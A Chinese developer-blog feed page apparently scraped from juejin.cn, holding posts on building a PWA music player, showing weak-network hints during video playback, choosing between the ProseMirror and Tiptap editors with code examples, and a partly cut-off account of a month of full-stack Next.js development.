而它与App的唯一不同,在于安装它不需要下载庞大的安装文件,只需要一个链接。音乐播放器Vooh的本体,只是一个网页。


作为一个诞生了好几年的老技术,PWA(Progressive Web Application)自诞生以来一直都不温不火,Google对它的愿景是最终所有的网页都能做到和App一致的体验,但直到现在,它都像是一道可有可无的饭后甜点。对于网页来说,即用即走似乎是它与生俱来的诅咒,用户既没有将Web安装到桌面的必要,也没有这个耐心,毕竟对于网络延迟增加1秒都可能导致访问量降低80%的地狱难度模式的网页用户生态而言,让一个浏览器用户点击一个陌生的“Install as application”的按钮简直是天方夜谭。尽管它就在那里,但乐于尝试的人似乎总是寥寥无几。既然PWA和纯网页能做的事情相差无几,那为什么还要浪费桌面空间增加一个以后可能再也不会使用的图标呢?


我一直认为,PWA应该朝着更像App的方向努力,才能体现出它的价值。然而,目前的许多PWA,看起来只是把普通的网页做成了全屏,与在浏览器中的体验别无二致,做不出差异化,用户自然没有动力去安装PWA,PWA那些听起来十分美好的特性便成了空中楼阁,无源之水,这个名字也越来越将从人们的视野中慢慢淡去。


如何才能让PWA更像APP,这是一个问题。毕竟浏览器的交互逻辑和原生App相比,有着很大的区别,用户早已习惯了移动浏览器中的前进后退,页面加载时的白屏,以及几乎不存在的手势交互,似乎在说,没关系,这就是网页,它做到这个份上已经足够了。然而,若要把这份体验带到模仿原生App的PWA中去,那势必将迎来用户预期低落的反噬,连这样那样的交互体验都没有,还能叫App?


为了了解目前的PWA究竟能做到何种地步,我开发了Vooh,一个竭尽可能模仿原生App实现的PWA音乐播放器。它尽力实现了一个原生App应该具备的一切交互细节,包括页面间自然的动画过渡,跟手的手势交互,为触屏优化的样式细节等等,我尽可能将它的每个细节都尽可能地做到与App别无二致,就是为了探索Web能力的极限。而在这之后,我也打算将Vooh的实现原理整理出来,并且准备逐步将之前的做过的项目“App化”,来一窥Google期待的未来,究竟是什么样子。


无处不在的过渡动画


尽管Vue,React以及原生CSS都提供了方便的方式实现过渡动画,但是对于大多数网页来说,一个Loading动画可能就是整个页面里动画最多的地方了。这对于网页来说的确无关紧要,毕竟用户们早已习惯了浏览器里生硬的切换效果,没有成体系的交互反馈,以及突然消失出现的页面区域。尽管在许多成熟组件库慢慢开始注重交互动画的优化之后,这样的情况在慢慢改善,但是依然难以改变用户的刻板印象。因此,为用户的预期提供动画反馈是伪装成原生App的一个关键步骤,否则,缺少反馈的使用体验会一下子将用户安装和使用PWA的欲望拉得很低。


除去老生常谈的按钮悬浮、按下时的动画,页面间的过渡动画也是不可缺少的一环。如果你仔细观察iOS的Tab页面,就能发现在切换Tab的时候,也会有细微的不易察觉的缩放淡出渐变,正是这种细致入微的动画组成了iOS App丝滑体验中重要的一部分。


表单组件的动画效果也很重要,Vooh尽可能地使用了iOS风格的表单组件,例如Button,Switch等,以贴合用户的日常视觉体验。



手势交互


手势是网页与App的重要差异点,一般来说,很少会有网页支持用户的滑动返回,长按呼出菜单等复杂的手势操作,而这正是让你的PWA丝般顺滑的关键。


需要注意的是,由于大部分移动浏览器和JS本身单线程的限制,手势交互依赖监听器的执行速度,而很难跑满设备屏幕的帧率上限,尤其是iOS设备上,开启低电量模式的情况下,监听器的帧率可能只有不到30 FPS,肉眼可见的卡顿。目前为止,也没有看到任何浏览器厂商有关于优化手势交互的提案,手势交互就像一道横亘在网页与App之间的鸿沟,没有丝毫跨越的可能,只能尽可能地模仿。



离线访问


没有哪个用户能接受打开App时整个页面全部消失无法操作,APP的最大优点就是离线可用,好在Service Worker的推出让这一点不再是问题,通过Service Worker对网页资源进行缓存,可以实现在低网速甚至离线环境下,也能继续使用PWA,就像真正的App那样。


然而不幸的是,在iOS设备上,Service Worker离线缓存不再可用,开启飞行模式或者关闭网络连接后将无法访问任何网页,包括已经安装在桌面上的PWA,



偶遇现代IE厂商,拼尽全力无法战胜。



细节之外的细节


而Vooh在这些基础能力之外,还增加了许多其他的细节设计,让整个App在模仿原生App时更进一步。


1,存储占用管理


在移动设备上,PWA与App的存储占用是分隔开的,而且往往要经过十分复杂的步骤才能看到PWA的实际空间占用,因此对于音乐播放器这种高度依赖本地资源的应用来说,一个显而易见的存储占用管理系统能有效缓解用户的存储焦虑。



2,接入系统播放器


隆重介绍Media Session API,它能让JS直接接入系统播放器控件,即使在后台也可以允许用户通过系统自带的播放器控制媒体的播放,例如下一曲、播放暂停等,在iOS设备上,还能直接适配灵动岛,这下谁还能分辨谁是原生App。



3,深色模式


在Apple等手机厂商的推动下,大部分的App都已经适配深色模式,而网页对于深色模式的适配比起App要更为简单,毕竟CSS实在是太灵活了,Vooh当然也做了适配,在不同的模式下都能完美贴合系统的主体模式。


为了提升Vooh与其他原生播放器的(根本不存在的)竞争力,我也煞费苦心地加入了许多的细节,来让用户有真正使用它的动力,例如根据歌曲封面动态取色,自动识别的滚动歌词等,希望能让它在用户的手机桌面上多待一段时间。


未竟之事


不过,即使是做到了这个地步,PWA的能力始终是有极限的。有些App轻易能做到的事,对于PWA而言犹如天堑一般遥不可及,包括但不限于:


1,后台活动


在移动设备上,网页也好,PWA也好,基本上没有任何后台活动能力,甚至上面提到的Media Session API,在iOS上顶多也只最多能支持后台播放1~2首歌曲,然后就会被强行停止,更不用说后台导航,推送通知这种活在梦里的API了,这方面浏览器天生就是残废,未来也看不到有任何改进的可能,因此在开发PWA时,一定要远离这些方向。在js都能跑虚拟机,剪视频的当下,Web开发者们推送一条通知的希冀却只能在另一个平行时空实现了。


2,跳转到PWA


据说Andriod Chrome支持使用PWA来打开特定的链接,不过在iOS上就别想了。


3,触感反馈


同样,Web也只能使用早已被淘汰的Vibrate,细腻的振动反馈和Taptic Engine对网页来说也是天方夜谭。


4,调用原生功能


还有无数浩如烟海的功能是PWA完全无法实现的,例如系统级的音量调节,亮度调节等,我能理解这是浏览器对恶意网站的限制,但这也确实极大限制了Web的发展,比如奠定了Web安全基础的跨域限制,如今成为了许多大型Web应用的掣肘。我由衷地希望某天浏览器能制定一个更宽松的PWA标准,例如安装到桌面后能提供更多的权限,提供一个无跨域限制的fetch代替品等等,然而即使对Web上心如Google,也没有考虑过这个方向的可能性。JS正在和越来越宽松的宿主环境(Tuari,Electron)一步步蚕食着原生GUI开发的领地,而它的发源地,浏览器却只能被所谓的安全性限制,成为一个只负责播放动画的花瓶。


总结


正如所说,一切能由javascript实现的终将会用javascript实现。如今,越来越多的平台小程序,快应用,乃至于H5套壳的App越来越多,随着浏览器性能的进一步提升,Web能做到的事越来越多,但是Web的交互性却并没有随着javascript的繁荣而被重视起来,受限于javascript的单线程特性,要完全模拟App的使用体验还是有一定的差距,一个劲地往原生体验上靠,有时也并不一定是最好的选择,Vooh的出现只是给了开发者们一个可能的方向,Web的轻量,优秀的可触达性与PWA有机结合,才是Web的发展方向。同时也希望各家浏览器厂商们能加快适配新的Web特性,能够让程序们在写代码时少掉一些头发,便是最大的善事了


如果对Vooh的实现方式有兴趣的话,欢迎关注我的专栏或者博客,后续的代码也会一并开源,涉及到音乐版权相关,目前的Vooh只开放了2首免费无版权音乐的使用,代码也不会涉及版权相关的领域。


作者:Glink
来源:juejin.cn/post/7490977437674651683
收起阅读 »

视频播放弱网提示实现

web
作者:陈盛靖 一、背景 业务群里面经常反馈,视频播放卡顿,视频播放总是停留在某一时刻就播放不了了。后面经过排查,发现这是因为弱网导致的。然而,用户数量众多,隔三差五总有人在群里反馈,有时问题一时半会好不了,用户就会怀疑不是网络,而是我们的系统问题。因此,我们...
继续阅读 »

作者:陈盛靖



一、背景


业务群里面经常反馈,视频播放卡顿,视频播放总是停留在某一时刻就播放不了了。后面经过排查,发现这是因为弱网导致的。然而,用户数量众多,隔三差五总有人在群里反馈,有时问题一时半会好不了,用户就会怀疑不是网络,而是我们的系统问题。因此,我们希望能在弱网的时候展示提示,这样用户体验会更友好,同时也能减少一定的客诉。


二、现状分析


我们使用的播放器是chimee(http://www.chimee.org/index.html)。遗憾的是,chimee并没有视频播放卡顿自动展示loading的功能,不过我们可以通过其插件能力,来编写一个自定义video-loading的插件。


三、方案设计


使用NetworkInformation


常见的方法就是我们通过设定一个标准,然后检测用户设备的网络速度,在到达一定阈值时展示弱网提示。这里需要确定一个重要的点:什么情况下才算弱网?


我们的应用是h5,这里我们可以使用window对象中的NetworkInformation(developer.mozilla.org/zh-CN/docs/…),我们可以通过浏览器的debug工具,打印window.naviagtor.connection,这个对象内部就存储着网络信息:



其中各个属性含义如下表所示:


属性含义
downlink返回以兆比特每秒为单位的有效带宽估计,四舍五入到最接近的 25 千比特每秒的倍数。
downlinkMax返回底层连接技术的最大下行速度,以兆比特每秒(Mbps)为单位。
effectiveType返回连接的有效类型(意思是“slow-2g”、“2g”、“3g”或“4g”中的一个)。此值是使用最近观察到的往返时间和下行链路值的组合来确定的。
rtt返回当前连接的有效往返时间估计,四舍五入到最接近的 25 毫秒的倍数。
saveData如果用户在用户代理上设置了减少数据使用的选项,则返回 true。
type返回设备用于网络通信的连接类型。它会是以下值之一:
bluetooth
cellular
ethernet
none
wifi
wimax
other
unknown
onchange接口的 change 事件在网络连接信息发生变化时被触发,并且该事件由 NetworkInformation(developer.mozilla.org/zh-CN/docs/…) 对象接收。

其中,我们可以通过effectiveType判断当前网络的大体情况,并且可以拿到一个预估的网络带宽(downlink)。我们可以通过监听onchange事件,在网络变差的时候,展示对应的弱网提示。


这个方案的优点是:



  • 浏览器环境原生支持

  • 实现相对简单


但缺点却十分明显:



  • 网络状态变化非实时


effectiveType的变化可能是分钟级别的,对于短暂的网络波动,状态没办法做更精细的把控



  • 存在兼容性问题


对于不同一些主流浏览器不支持,例如Firefox、Safari等




  • 不同设备间存在差异


不同的设备和浏览器,由于其差异,在不同的网络情况下,视频的播放情况是不一样的,如果我们固定一个标准,可能会导致在不同设备下,同一个网络速度,有人明明正常播放视频,但是却提示网络异常,这样用户会感到疑惑。


那有没有更好的方法呢?


监听Video元素事件


chimee底层也是在html video上进行的二次封装,我们可以在插件的生命周期中,拿到对应的video元素节点。而在video标签中,存在这样两个事件:waiting和canplay。


其事件描述如下图所示:



当视频播放卡顿时,会触发waiting事件;而当视频播放恢复正常时,会触发canplay事件。只要监听这两个事件,我们就可以实现对应的功能了。


四、功能拓展


我们知道,现在大多数网站的视频在提示弱网的时候,都会展示当前设备的网络速度是多少。因此我们也希望在展示对应的信息。那么怎么实现网络速度的检测呢?


一个简单的方法是,我们可以通过获取一张固定大小的图片资源(不一定是图片,也可以是别的类型的资源),并统计请求该资源的请求速度,从而计算当前网络的带宽是多少。当然,图片大小要尽可能小一点,一是为了节省用户流量,二是为了避免在网络不好的情况下,图片请求太慢导致一直计算不出来。


具体代码如下:


funtion calculateSpeed() {
// 图片大小772Byte
const fileSize = 772;
// 拼接时间戳,避免缓存
const imgUrl = `https://xxx.png?timestamp=${new Date().getTime()}`;

return new Promise((resolve, reject) => {
let start = 0;
let end = 1000;
let img = document.createElement('img');
start = new Date().getTime();
img.onload = function (e) {
end = new Date().getTime();
// 计算出来的单位为 B/s
const speed = fileSize / (end > start ? end - start : 1000) * 1000;
resolve(speed);
}
img.src = imgUrl;
}).catch(err => { throw err });
}

function translateUnit(speed) {
if(speed === 0) return '0.00 B/s';
if(speed > 1024 * 1024) return `${(speed / 1024 / 1024).toFixed(2)} MB/s`;
if(speed > 1024) return `${(speed / 1024).toFixed(2)} KB/s`;
else return `${speed.toFixed(2)} B/s`;
}

我们可以通过setInterval来轮询调用该函数,从而实时展示当前网络情况。系统流程图如下:


画板


五、总结


我们可以通过Chrome浏览器开发者工具中的Network中的网络配置来模拟弱网情况

具体效果如下:



成功实现视频弱网提示,完结撒花🎉🎉🎉🎉🎉🎉。


作者:古茗前端团队
来源:juejin.cn/post/7593550315254218758
收起阅读 »

富文本编辑器技术选型,到底是 Prosemirror 还是 Tiptap 好 ❓❓❓

web
我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于 Tiptap 的富文本编辑器、NestJs 后端服务、AI 集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了 Tiptap 的深度定制、性能优...
继续阅读 »

我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于 Tiptap 的富文本编辑器、NestJs 后端服务、AI 集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了 Tiptap 的深度定制、性能优化和协作功能的实现等核心难点。



如果你对 AI 全栈开发、Tiptap 富文本编辑器定制或 DocFlow 项目的完整技术方案感兴趣,欢迎加我微信 yunmz777 进行私聊咨询,获取详细的技术分享和最佳实践。


在前端开发中,撤销和重做功能是提升用户体验的重要特性。无论是文本编辑器、图形设计工具,还是可视化搭建平台,都需要提供历史操作的回退和前进能力。这个功能看似简单,但实现起来需要考虑性能、内存占用、用户体验等多个方面。


在构建富文本编辑器时,Tiptap 和 ProseMirror 是两个常见的技术选择。两者都强大且灵活,但它们在设计理念、易用性、扩展性等方面存在差异。对于开发者来说,选择合适的工具对于项目的成功至关重要。本文将深入探讨两者的异同,并通过实际代码示例帮助你理解它们的差异,从而根据具体需求做出决策。


ProseMirror 的优势与挑战


ProseMirror 是一个 JavaScript 库,用于构建复杂的富文本编辑器。它的设计非常底层,提供了一个高效且灵活的文档模型,开发者可以完全控制编辑器的行为和界面。ProseMirror 本身并不提供任何 UI 或组件,而是一个核心库,开发者需要自行实现具体的编辑器功能。


作为一个底层框架,ProseMirror 允许开发者完全控制编辑器的各个方面,包括文档结构、输入行为、UI 样式等。它提供了丰富的 API,可以处理复杂的编辑需求,如数学公式、代码块、图片、链接等。开发者可以为几乎任何功能编写插件,并且可以在已有插件的基础上进行二次开发。基于虚拟 DOM 的设计,使其在大文档和复杂结构下能够提供较高的性能。


然而,由于其底层设计,ProseMirror 的 API 复杂,学习曲线陡峭。开发者需要深入理解其文档模型、事务管理、节点和视图的关系。由于不提供任何 UI 组件,开发者需要从零开始构建编辑器的界面和交互,配置和初始化过程也较为复杂,需要手动处理许多底层逻辑。


ProseMirror 基础使用示例


首先需要安装必要的包:


npm install prosemirror-state prosemirror-view prosemirror-model prosemirror-schema-basic prosemirror-schema-list prosemirror-commands

创建一个基本的 ProseMirror 编辑器需要配置 schema、state 和 view:


import { EditorState } from "prosemirror-state";
import { EditorView } from "prosemirror-view";
import { Schema, DOMParser } from "prosemirror-model";
import { schema } from "prosemirror-schema-basic";
import { addListNodes } from "prosemirror-schema-list";
import { exampleSetup } from "prosemirror-example-setup";

// 扩展基础 schema,添加列表支持
const mySchema = new Schema({
nodes: addListNodes(schema.spec.nodes, "paragraph block*", "block"),
marks: schema.spec.marks,
});

// 创建编辑器状态
const state = EditorState.create({
schema: mySchema,
plugins: exampleSetup({ schema: mySchema }),
});

// 创建编辑器视图
const view = new EditorView(document.querySelector("#editor"), {
state,
});

如果需要添加自定义命令,比如一个格式化工具条,需要手动实现:


import { toggleMark } from "prosemirror-commands";
import { schema } from "prosemirror-schema-basic";

// 创建加粗命令
const toggleBold = toggleMark(schema.marks.strong);

// 手动创建工具栏按钮
function createToolbar(view) {
const toolbar = document.createElement("div");
toolbar.className = "toolbar";

const boldBtn = document.createElement("button");
boldBtn.textContent = "Bold";
boldBtn.onclick = () => {
toggleBold(view.state, view.dispatch);
view.focus();
};

toolbar.appendChild(boldBtn);
return toolbar;
}

ProseMirror 自定义插件示例


创建一个自定义插件需要理解 ProseMirror 的插件系统:


import { Plugin } from "prosemirror-state";

// 创建一个字符计数插件
function characterCountPlugin() {
return new Plugin({
view(editorView) {
const counter = document.createElement("div");
counter.className = "char-counter";

const updateCounter = () => {
const text = editorView.state.doc.textContent;
counter.textContent = `字符数: ${text.length}`;
};

updateCounter();

return {
update(view) {
updateCounter();
},
destroy() {
counter.remove();
},
};
},
});
}

// 使用插件
const state = EditorState.create({
schema: mySchema,
plugins: [characterCountPlugin(), ...exampleSetup({ schema: mySchema })],
});

Tiptap 的便捷开发


Tiptap 是基于 ProseMirror 构建的富文本编辑器框架,它简化了 ProseMirror 的复杂性,提供了现成的 UI 组件和更易于使用的 API。Tiptap 旨在让开发者能够快速实现丰富的富文本编辑器,同时保持较高的灵活性和扩展性。


Tiptap 提供了简洁的 API,开发者不需要深入学习 ProseMirror 的底层概念即可实现基本的富文本编辑功能。它通过封装 ProseMirror 的复杂性,使得开发过程更加直观和简便。开箱即用的 UI 组件,如文本格式化、列表、图片插入等,极大地方便了开发者的使用,减少了开发时间。清晰的文档和活跃的开源社区,也为开发者提供了良好的支持和资源。虽然 Tiptap 进行了封装,但它仍然保留了 ProseMirror 的插件系统,开发者可以根据需要定制功能,并且可以轻松地集成其他插件。此外,Tiptap 可以与 Yjs 或其他 CRDT 库结合,支持实时协作编辑功能,这是 ProseMirror 本身不具备的特性。


不过,由于 Tiptap 封装了 ProseMirror 的很多底层功能,灵活性相对较低。对于一些需要极高自定义的需求,Tiptap 可能不如 ProseMirror 灵活。虽然在大多数情况下性能良好,但在处理超大文档或复杂操作时,性能可能不如直接使用 ProseMirror。


Tiptap 基础使用示例


Tiptap 的安装和使用相对简单:


npm install @tiptap/react @tiptap/starter-kit @tiptap/pm

在 React 中使用 Tiptap:


import { useEditor, EditorContent } from "@tiptap/react";
import StarterKit from "@tiptap/starter-kit";

function TiptapEditor() {
const editor = useEditor({
extensions: [StarterKit],
content: "<p>Hello World!</p>",
});

if (!editor) {
return null;
}

return (
<div>
<div className="toolbar">
<button
onClick={() =>
editor.chain().focus().toggleBold().run()}
disabled={!editor.can().chain().focus().toggleBold().run()}
className={editor.isActive("bold") ? "is-active" : ""}
>
Bold
</button>
<button
onClick={() =>
editor.chain().focus().toggleItalic().run()}
disabled={!editor.can().chain().focus().toggleItalic().run()}
className={editor.isActive("italic") ? "is-active" : ""}
>
Italic
</button>
<button
onClick={() =>
editor.chain().focus().toggleBulletList().run()}
className={editor.isActive("bulletList") ? "is-active" : ""}
>
Bullet List
</button>
</div>
<EditorContent editor={editor} />
</div>

);
}

Tiptap 的 Vue 版本同样简洁:


<template>
<div>
<div class="toolbar">
<button
@click="editor.chain().focus().toggleBold().run()"
:disabled="!editor.can().chain().focus().toggleBold().run()"
:class="{ 'is-active': editor.isActive('bold') }"
>
Bold
</button>
<button
@click="editor.chain().focus().toggleItalic().run()"
:class="{ 'is-active': editor.isActive('italic') }"
>
Italic
</button>
</div>
<editor-content :editor="editor" />
</div>
</template>

<script>
import { useEditor, EditorContent } from "@tiptap/vue-3";
import StarterKit from "@tiptap/starter-kit";

export default {
components: {
EditorContent,
},
setup() {
const editor = useEditor({
extensions: [StarterKit],
content: "<p>Hello World!</p>",
});

return { editor };
},
};
</script>

Tiptap 扩展功能示例


Tiptap 支持多种扩展,添加图片功能非常简单:


import Image from "@tiptap/extension-image";
import { useEditor, EditorContent } from "@tiptap/react";
import StarterKit from "@tiptap/starter-kit";

function EditorWithImage() {
const editor = useEditor({
extensions: [
StarterKit,
Image.configure({
inline: true,
allowBase64: true,
}),
],
});

const addImage = () => {
const url = window.prompt("图片URL");
if (url) {
editor.chain().focus().setImage({ src: url }).run();
}
};

return (
<div>
<button onClick={addImage}>添加图片</button>
<EditorContent editor={editor} />
</div>

);
}

创建自定义扩展也很直观:


import { Extension } from "@tiptap/core";
import { Plugin } from "prosemirror-state";

const CharacterCount = Extension.create({
name: "characterCount",

addProseMirrorPlugins() {
return [
new Plugin({
view(editorView) {
const counter = document.createElement("div");
counter.className = "char-counter";

const updateCounter = () => {
const text = editorView.state.doc.textContent;
counter.textContent = `字符数: ${text.length}`;
};

updateCounter();

return {
update(view) {
updateCounter();
},
destroy() {
counter.remove();
},
};
},
}),
];
},
});

// 使用自定义扩展
const editor = useEditor({
extensions: [StarterKit, CharacterCount],
});

Tiptap 实时协作示例


Tiptap 与 Yjs 集成实现实时协作非常简单:


npm install yjs y-prosemirror @tiptap/extension-collaboration @tiptap/extension-collaboration-cursor

import { useEditor, EditorContent } from "@tiptap/react";
import StarterKit from "@tiptap/starter-kit";
import Collaboration from "@tiptap/extension-collaboration";
import CollaborationCursor from "@tiptap/extension-collaboration-cursor";
import * as Y from "yjs";
import { WebrtcProvider } from "y-webrtc";

// 创建 Yjs 文档和提供者
const ydoc = new Y.Doc();
const provider = new WebrtcProvider("room-name", ydoc);

function CollaborativeEditor() {
const editor = useEditor({
extensions: [
StarterKit,
Collaboration.configure({
document: ydoc,
}),
CollaborationCursor.configure({
provider,
}),
],
});

return <EditorContent editor={editor} />;
}

从代码看差异


让我们通过实现一个带工具栏的编辑器来对比两者的代码复杂度:


在 ProseMirror 中,需要手动管理所有状态和命令:


import { EditorState, Plugin } from "prosemirror-state";
import { EditorView } from "prosemirror-view";
import { schema } from "prosemirror-schema-basic";
import { toggleMark } from "prosemirror-commands";

const state = EditorState.create({ schema });

const toolbarPlugin = new Plugin({
view(editorView) {
const toolbar = document.createElement("div");
toolbar.className = "toolbar";

const boldBtn = document.createElement("button");
boldBtn.textContent = "B";
boldBtn.onclick = (e) => {
e.preventDefault();
const { state, dispatch } = editorView;
const command = toggleMark(schema.marks.strong);
if (command(state, dispatch)) {
editorView.focus();
}
};

toolbar.appendChild(boldBtn);
document.body.insertBefore(toolbar, editorView.dom);

return {
destroy() {
toolbar.remove();
},
};
},
});

const view = new EditorView(document.querySelector("#editor"), {
state: EditorState.create({
schema,
plugins: [toolbarPlugin],
}),
});

而在 Tiptap 中,相同的功能实现更加简洁:


const editor = useEditor({
extensions: [StarterKit],
});

return (
<div>
<button
onClick={() =>
editor.chain().focus().toggleBold().run()}
className={editor.isActive("bold") ? "is-active" : ""}
>
B
</button>
<EditorContent editor={editor} />
</div>

);

如何做出选择


选择 Tiptap 还是 ProseMirror,关键在于项目需求和开发团队的技术能力。


如果你的目标是快速构建一个功能丰富、用户友好的富文本编辑器,且不希望花费过多时间在底层细节上,Tiptap 是一个理想的选择。它提供了简洁的 API 和现成的 UI 组件,可以快速启动和开发。如果你的编辑器需要一些定制功能,但不需要完全控制每个底层细节,Tiptap 提供了足够的灵活性,同时保持了开发的简便性。如果需要实现多人实时协作,Tiptap 内建的对 Yjs 等库的支持可以简化实现过程。


如果你需要完全控制编辑器的行为、界面和性能,ProseMirror 提供了更高的自由度。它适合那些有特定需求的项目,比如自定义文档结构、输入行为或非常复杂的编辑操作。在处理非常大的文档或需要极高性能的场景下,ProseMirror 能提供更好的优化和性能。如果你的项目需要完全自定义插件,或者你想对编辑器进行深度定制,ProseMirror 提供了更高的灵活性。


性能考虑


对于大文档处理,ProseMirror 提供了更细粒度的控制:


// ProseMirror 中可以精确控制更新
const state = EditorState.create({
schema,
plugins: [
// 可以精确控制哪些插件启用
// 可以自定义更新逻辑
new Plugin({
state: {
init() {
return {};
},
apply(tr, value) {
// 自定义状态更新逻辑
return value;
},
},
}),
],
});

而 Tiptap 虽然性能良好,但在极端场景下可能不如直接使用 ProseMirror 优化:


// Tiptap 的性能优化选项
const editor = useEditor({
extensions: [StarterKit],
editorProps: {
attributes: {
class:
"prose prose-sm sm:prose lg:prose-lg xl:prose-2xl mx-auto focus:outline-none",
},
// 可以传递 ProseMirror 的原生配置
},
// 但仍然受到封装层的限制
});

生态系统和社区支持


Tiptap 拥有丰富的扩展生态系统:


# Tiptap 官方扩展
npm install @tiptap/extension-image
npm install @tiptap/extension-link
npm install @tiptap/extension-table
npm install @tiptap/extension-code-block-lowlight
npm install @tiptap/extension-placeholder
npm install @tiptap/extension-character-count
npm install @tiptap/extension-typography

而 ProseMirror 的插件需要通过 prosemirror-* 包系列来获取,或者自己实现。官方提供了基础插件,但高级功能需要社区插件或自行开发。


实际项目场景建议


对于博客平台、内容管理系统、笔记应用等常见场景,Tiptap 通常是最佳选择。它的快速开发和丰富的功能足以满足大多数需求。代码示例展示了如何在几分钟内搭建一个功能完整的编辑器。


对于需要特殊文档结构(如学术论文编辑器、代码编辑器、专业排版工具)或对性能有极致要求的场景,ProseMirror 提供了必要的底层控制能力。但需要投入更多时间学习其 API 和概念。


如果你的团队时间有限,或者希望快速迭代,Tiptap 是明智的选择。如果团队有富文本编辑器开发经验,或者有充足时间进行深度定制,ProseMirror 可以带来更高的灵活性和性能。


总结


Tiptap 是一个基于 ProseMirror 的富文本编辑器框架,适合需要快速开发、易用且功能丰富的场景。它封装了 ProseMirror 的复杂性,让开发者能够专注于业务逻辑,而无需关心底层实现细节。通过本文的代码示例可以看出,Tiptap 的 API 设计更加直观,学习曲线平缓,适合大多数项目需求。


ProseMirror 则是一个底层框架,适合那些需要完全控制文档结构、编辑行为和性能优化的高级开发者。它更灵活,但学习曲线较陡峭,适合复杂或定制化需求较强的项目。从代码示例中可以看到,使用 ProseMirror 需要处理更多的底层细节,但同时也获得了更高的控制权。


如果你的项目需要快速构建编辑器并具备一定的自定义能力,Tiptap 是一个更为理想的选择。而如果你的项目需要完全的定制化和高性能处理,ProseMirror 将更符合你的需求。最终的选择应基于你的开发需求、项目规模以及团队的技术能力。建议通过实际代码尝试两者,根据你的具体场景做出最适合的选择。


作者:Moment
来源:juejin.cn/post/7593573617647796276
收起阅读 »

🌸 入职写了一个月全栈next.js 感想

web
背景介绍 最近组内要做0-1的新ai产品, 招我进来就是负责这个ai产品,启动的时候这个季度就剩下两个月了,天天开会对齐进度,一个月就已经把基础版本给做完了,想要接入到现有的业务上面,时间方面就特别紧张,技术选型怎么说呢, leader用ai写了一个版本 我...
继续阅读 »

背景介绍



  • 最近组内要做0-1的新ai产品, 招我进来就是负责这个ai产品,启动的时候这个季度就剩下两个月了,天天开会对齐进度,一个月就已经把基础版本给做完了,想要接入到现有的业务上面,时间方面就特别紧张,技术选型怎么说呢, leader用ai写了一个版本 我们在现有的代码进行二次开发这样, 全栈next.js 要学习的东西太多了 又没有前端基础,没有ai coding很难完成任务(十几分钟干完我一天的工作 claude4.5效果还不错 进度推的特别快), 自从trae下架了claude,后面就一直cursor claude 4.5了。



    • nextjs+ts+tailwindcss+shadcn ui现在是mvp套餐,startup在梭哈,时间就是生产力哪需要那么多差异化样式直接一把,有的💰才开始做细节,你会发现慢慢也💩化了。

    • Nextjs 是全栈框架 可以很快把一个MVP从零到一完整跑起来。 你要是抬杠说什么高并发负载均衡啥的,你的用户数量真多到需要考虑性能的时候,你已经不需要自己考虑了(小红书看到的一段话 挺符合场景的)

    • next.js 写后端 确实比较轻量 只能做一些curd的操作 socket之类的不太合适 其他api 还是随便开发 给我的感受就是前端能够直接操作db,前后端仓库可以不分离,业务逻辑还是一定要分离的 看看开源的next.js 项目的架构设计结构是怎么样的 学习/模仿/改造。

    • 语言只是工具,适合最重要,技术没有银弹



  • nextjs.org/ github.com/vercel/next…
    image.png


项目的时间线



项目从启动到这周 大概是5周的时间




  • 10/28-10/31 Week 1

    • 项目初始化/需求讨论/设计文档/

    • 后端next.js, typescript技术熟悉 项目运行/调试

    • 基础框架搭建 设计表结构ddl, 集成mysql, 编写crud接口阶段



  • 11/03-11/07 Week 2

    • 产品PRD 提供

    • xxxx等表设计



  • 11/10-11/14 Week 3

    • xxxxx 基本功能完结

    • @xxxx 讲解项目结构/规范



  • 11/17-11/21 Week 4

    • 首页样式/逻辑 优化

    • 集成统一登录调研

    • 部署完成



  • 11/24-11/28 Week 5

    • 服务推理使用Authorization鉴权 对内接口使用Cookies (access_token) 鉴权 开发

    • xxxx 表设计表设计 逻辑开发

    • xxx设计 设计开发

    • 联调xxxx





5周时间 功能基本完成了 剩下的就是部署到线上 进行场景实践了



前端技术栈



  • Next.js 14:选择 App Router 架构,支持服务端渲染和 API Routes

  • TypeScript 5.4:强类型语言提升代码质量和可维护性

  • React 18:利用并发特性和 Suspense 提升用户体验

  • Zustand:轻量级状态管理,替代 Redux 降低复杂度

  • Ant Design + Radix UI:组件库组合,平衡美观性和可访问性


React + TypeScript react.dev/



  • 优势:类型安全:TypeScript 提供编译时类型检查,减少运行时错误 ✅ 组件化开发:高度可复用的组件设计 ✅ 生态成熟:丰富的第三方库和工具链 ✅ 开发体验:优秀的 IDE 支持和调试工具

  • 劣势:学习曲线:TypeScript 对新手有一定门槛 ❌ 编译时间:大型项目编译可能较慢 ❌ 配置复杂:类型定义需要额外维护


UI 组件方案 Ant Design + Radix UI 混合方案



  • 优势:快速开发:Ant Design 提供完整的企业级组件 ✅ 无障碍性:Radix UI 提供符合 WAI-ARIA 标准的组件 ✅ 定制灵活:Radix UI 无样式组件便于自定义 ✅ 中文支持:Ant Design 对中文界面友好

  • 劣势:包体积大:两个 UI 库增加了打包体积 ❌ 样式冲突:需要注意两个库的样式隔离❌ 维护成本:需要同时维护两套组件系统


Tailwind CSS



  • 优势:开发效率高:原子化类名,快速构建 UI ✅ 体积优化:生产环境自动清除未使用的样式 ✅ 一致性:设计系统内置,确保视觉一致 ✅ 响应式:便捷的响应式设计工具

  • 劣势:类名冗长:HTML 可能变得难以阅读 ❌ 学习成本:需要记忆大量类名 ❌ 非语义化:类名不直观反映元素意义


ant design x


ahooks


后端技术栈



  • Prisma 6.18:现代化 ORM,类型安全且支持 Migration

  • MySQL:成熟的关系型数据库,满足复杂查询需求

  • Redis (ioredis) :高性能缓存,支持多种数据结构

  • Winston:企业级日志系统,支持日志轮转和结构化输出

  • Zod:运行时类型验证,保障 API 数据安全


Next.js API Routes



  • 优势:统一代码库:前后端在同一项目中 ✅ 类型共享:TypeScript 类型可在前后端复用 ✅ 开发效率:无需配置跨域、代理等 ✅ 部署简单:单一应用部署

  • 劣势:扩展性限制:无法独立扩展后端服务 ❌ 性能瓶颈:Node.js 单线程可能成为瓶颈 ❌ 微服务困难:不适合复杂的微服务架构


Prisma ORM



